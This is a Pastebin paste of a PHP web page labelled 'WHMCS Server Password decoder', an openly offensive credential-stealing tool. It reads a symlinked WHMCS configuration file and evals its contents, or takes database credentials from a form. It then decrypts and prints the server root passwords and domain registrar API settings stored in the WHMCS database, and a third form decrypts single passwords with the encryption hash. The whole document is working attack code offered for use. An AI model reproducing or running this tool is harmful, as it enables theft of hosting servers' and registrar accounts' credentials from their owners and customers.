Advertisement
Guest User

whm

a guest
Jul 11th, 2016
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.85 KB | None | 0 0
  1.  
  2. <?php
  3.  
  4. function decrypt ($string,$cc_encryption_hash)
  5. {
  6. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  7. $hash_key = _hash ($key);
  8. $hash_length = strlen ($hash_key);
  9. $string = base64_decode ($string);
  10. $tmp_iv = substr ($string, 0, $hash_length);
  11. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  12. $iv = $out = '';
  13. $c = 0;
  14. while ($c < $hash_length)
  15. {
  16. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  17. ++$c;
  18. }
  19. $key = $iv;
  20. $c = 0;
  21. while ($c < strlen ($string))
  22. {
  23. if (($c != 0 AND $c % $hash_length == 0))
  24. {
  25. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  26. }
  27. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  28. ++$c;
  29. }
  30. return $out;
  31. }
  32.  
  33. function _hash ($string)
  34. {
  35. if (function_exists ('sha1'))
  36. {
  37. $hash = sha1 ($string);
  38. }
  39. else
  40. {
  41. $hash = md5 ($string);
  42. }
  43. $out = '';
  44. $c = 0;
  45. while ($c < strlen ($hash))
  46. {
  47. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  48. $c += 2;
  49. }
  50. return $out;
  51. }
  52. if($_POST['form_action'] == 1 )
  53. {
  54. //include($file);
  55. $file=($_POST['file']);
  56. $text=file_get_contents($file);
  57. $text= str_replace("<?php", "", $text);
  58. $text= str_replace("<?", "", $text);
  59. $text= str_replace("?>", "", $text);
  60. eval($text);
  61. $link=mysql_connect($db_host,$db_username,$db_password) ;
  62. mysql_select_db($db_name,$link) ;
  63. $query = mysql_query("SELECT * FROM tblservers");
  64. while($v = mysql_fetch_array($query)) {
  65. $ipaddress = $v['ipaddress'];
  66. $username = $v['username'];
  67. $type = $v['type'];
  68. $active = $v['active'];
  69. $hostname = $v['hostname'];
  70. echo("<center><table border='1'>");
  71. $password = decrypt ($v['password'], $cc_encryption_hash);
  72. echo("<tr><td>Type</td><td>$type</td></tr>");
  73. echo("<tr><td>Active</td><td>$active</td></tr>");
  74. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  75. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  76. echo("<tr><td>Username</td><td>$username</td></tr>");
  77. echo("<tr><td>Password</td><td>$password</td></tr>");
  78.  
  79. echo "</table><br><br></center>";
  80. }
  81. $link=mysql_connect($db_host,$db_username,$db_password) ;
  82. mysql_select_db($db_name,$link) ;
  83. $query = mysql_query("SELECT * FROM tblregistrars");
  84. echo("<center>Domain Reseller <br><table border='1'>");
  85. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  86. while($v = mysql_fetch_array($query)) {
  87. $registrar = $v['registrar'];
  88. $setting = $v['setting'];
  89. $value = decrypt ($v['value'], $cc_encryption_hash);
  90. if ($value=="") {
  91. $value=0;
  92. }
  93. $password = decrypt ($v['password'], $cc_encryption_hash);
  94. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  95.  
  96.  
  97.  
  98.  
  99. }
  100. echo "</table><br><br></center>";
  101. }
  102.  
  103.  
  104. if($_POST['form_action'] == 2 )
  105. {
  106. //include($file);
  107. $db_host=($_POST['db_host']);
  108. $db_username=($_POST['db_username']);
  109. $db_password=($_POST['db_password']);
  110. $db_name=($_POST['db_name']);
  111. $cc_encryption_hash=($_POST['cc_encryption_hash']);
  112.  
  113.  
  114.  
  115. $link=mysql_connect($db_host,$db_username,$db_password) ;
  116. mysql_select_db($db_name,$link) ;
  117. $query = mysql_query("SELECT * FROM tblservers");
  118. while($v = mysql_fetch_array($query)) {
  119. $ipaddress = $v['ipaddress'];
  120. $username = $v['username'];
  121. $type = $v['type'];
  122. $active = $v['active'];
  123. $hostname = $v['hostname'];
  124. echo("<center><table border='1'>");
  125. $password = decrypt ($v['password'], $cc_encryption_hash);
  126. echo("<tr><td>Type</td><td>$type</td></tr>");
  127. echo("<tr><td>Active</td><td>$active</td></tr>");
  128. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  129. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  130. echo("<tr><td>Username</td><td>$username</td></tr>");
  131. echo("<tr><td>Password</td><td>$password</td></tr>");
  132.  
  133. echo "</table><br><br></center>";
  134. }
  135.  
  136. $link=mysql_connect($db_host,$db_username,$db_password) ;
  137. mysql_select_db($db_name,$link) ;
  138. $query = mysql_query("SELECT * FROM tblregistrars");
  139. echo("<center>Domain Reseller <br><table border='1'>");
  140. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  141. while($v = mysql_fetch_array($query)) {
  142. $registrar = $v['registrar'];
  143. $setting = $v['setting'];
  144. $value = decrypt ($v['value'], $cc_encryption_hash);
  145. if ($value=="") {
  146. $value=0;
  147. }
  148. $password = decrypt ($v['password'], $cc_encryption_hash);
  149. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  150.  
  151.  
  152.  
  153.  
  154. }
  155. echo "</table><br><br></center>";
  156. }
  157.  
  158.  
  159.  
  160. ?>
  161. <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
  162. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script><center>
  163. <body bgcolor="#FFFFFF">
  164.  
  165. <center>
  166. <font color="#000000" size='+3'>[ ~~ WHMCS Server Password decoder ~~ ]</font><br><br>
  167. <font color="#088A85" size='+2'>Symlink to configuration.php of WHMCS</font><br>
  168. </center>
  169. <FORM action="" method="post">
  170. <input type="hidden" name="form_action" value="1">
  171. <br>
  172. <input type="text" size="30" name="file" value="">
  173. <br>
  174. <INPUT class=submit type="submit" value="Submit" name="Submit">
  175. </FORM>
  176. <hr>
  177. <br>
  178. <center>
  179. <font color="#088A85" size='+2'>DB configuration of WHMCS</font><br>
  180. </center>
  181. <FORM action="" method="post">
  182. <input type="hidden" name="form_action" value="2">
  183. <br>
  184. <table border=1>
  185. <tr><td>db_host </td><td><input type="text" size="30" name="db_host" value="localhost"></td></tr>
  186. <tr><td>db_username </td><td><input type="text" size="30" name="db_username" value=""></td></tr>
  187. <tr><td>db_password</td><td><input type="text" size="30" name="db_password" value=""></td></tr>
  188. <tr><td>db_name</td><td><input type="text" size="30" name="db_name" value=""><td></tr>
  189. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  190. </table>
  191. <br>
  192. <INPUT class=submit type="submit" value="Submit" name="Submit">
  193. </FORM>
  194. <hr>
  195. <center>
  196. <font color="#088A85" size='+2'>Password decoder</font><br>
  197. <?
  198. if($_POST['form_action'] == 3 )
  199. {
  200.  
  201.  
  202. $password=($_POST['password']);
  203. $cc_encryption_hash=($_POST['cc_encryption_hash']);
  204.  
  205. $password = decrypt ($password, $cc_encryption_hash);
  206. echo("Password is ".$password);
  207. }
  208. ?>
  209. </center>
  210. <FORM action="" method="post">
  211. <input type="hidden" name="form_action" value="3">
  212. <br>
  213. <table border=1>
  214. <tr><td>Password</td><td><input type="text" size="30" name="password" value=""></td></tr>
  215. <tr><td>cc_encryption_hash</td><td><input type="text" size="30" name="cc_encryption_hash" value=""></td></tr>
  216. </table>
  217. <br>
  218. <INPUT class=submit type="submit" value="Submit" name="Submit">
  219. </FORM>
  220. </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement